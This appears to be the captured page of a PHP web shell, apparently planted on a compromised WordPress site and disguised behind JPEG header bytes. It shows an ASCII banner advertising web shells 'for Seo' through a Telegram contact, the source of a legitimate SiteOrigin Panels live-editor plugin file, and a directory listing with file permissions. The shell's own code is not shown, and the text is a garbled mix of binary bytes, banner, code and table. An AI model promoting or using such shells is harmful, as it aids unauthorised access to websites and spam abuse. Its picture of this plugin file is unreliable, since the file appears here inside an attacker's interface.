����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* The live editor class. Only loaded when in live editor mode.
*
* Class SiteOrigin_Panels_Live_Editor
*/
class SiteOrigin_Panels_Live_Editor {
function __construct() {
add_action( 'template_redirect', array( $this, 'xss_headers' ) );
add_action( 'get_post_metadata', array( $this, 'post_metadata' ), 10, 3 );
add_action( 'wp_enqueue_scripts', array( $this, 'frontend_scripts' ) );
// Don't display the admin bar when in live editor mode
add_filter( 'show_admin_bar', '__return_false' );
}
public static function single() {
static $single;
return empty( $single ) ? $single = new self() : $single;
}
public function xss_headers(){
global $post;
if ( ! isset( $_GET['_panelsnonce'] ) || ! wp_verify_nonce( $_GET['_panelsnonce'], 'live-editor-preview' ) ) {
// If this class has been loaded, we know we're in the Live Editor.
// In the case that data or the nonce isn't valid, wp_die as a security precaution.
// This will happen on template_redirect.
wp_die();
}
if(
! empty( $_POST['live_editor_panels_data'] ) &&
! empty( $post->ID ) &&
current_user_can( 'edit_post', $post->ID )
) {
// Disable XSS protection when in the Live Editor
header( 'X-XSS-Protection: 0' );
}
}
/**
* Edit the page builder data when we're viewing the live editor version. This is necessary to ensure updated styles
* are rendered in the preview.
*
* @param $value
* @param $post_id
* @param $meta_key
*
* @return array
*/
function post_metadata( $value, $post_id, $meta_key ) {
if (
$meta_key == 'panels_data' &&
current_user_can( 'edit_post', $post_id ) &&
! empty( $_POST['live_editor_panels_data'] ) &&
$_POST['live_editor_post_ID'] == $post_id
) {
$value = array( json_decode( wp_unslash( $_POST['live_editor_panels_data'] ), true ) );
}
return $value;
}
/**
* Load the frontend scripts for the live editor
*/
function frontend_scripts() {
wp_enqueue_script(
'live-editor-front',
siteorigin_panels_url( 'js/live-editor/live-editor-front' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ),
array( 'jquery' ),
SITEORIGIN_PANELS_VERSION
);
wp_enqueue_script(
'live-editor-scrollto',
siteorigin_panels_url( 'js/live-editor/jquery.scrollTo' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ),
array( 'jquery' ),
SITEORIGIN_PANELS_VERSION
);
wp_enqueue_style(
'live-editor-front',
siteorigin_panels_url( 'css/live-editor-front' . SITEORIGIN_PANELS_CSS_SUFFIX . '.css' ),
array(),
SITEORIGIN_PANELS_VERSION
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| data | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| admin-dashboard.php | File | 3.81 KB | 0644 |
|
| admin-layouts.php | File | 17.14 KB | 0644 |
|
| admin-widget-dialog.php | File | 5.36 KB | 0644 |
|
| admin-widgets-bundle.php | File | 4.78 KB | 0644 |
|
| admin.php | File | 67.1 KB | 0644 |
|
| cache-renderer.php | File | 1.15 KB | 0644 |
|
| css-builder.php | File | 8.02 KB | 0644 |
|
| error_log | File | 6.62 KB | 0644 |
|
| functions.php | File | 2.69 KB | 0644 |
|
| home.php | File | 1.25 KB | 0644 |
|
| live-editor.php | File | 2.49 KB | 0644 |
|
| post-content-filters.php | File | 2.53 KB | 0644 |
|
| renderer-legacy.php | File | 5.62 KB | 0644 |
|
| renderer.php | File | 37.43 KB | 0644 |
|
| revisions.php | File | 2.76 KB | 0644 |
|
| settings.php | File | 26.11 KB | 0644 |
|
| sidebars-emulator.php | File | 7.46 KB | 0644 |
|
| styles-admin.php | File | 21.19 KB | 0644 |
|
| styles.php | File | 38.92 KB | 0644 |
|
| widget-shortcode.php | File | 3.39 KB | 0644 |
|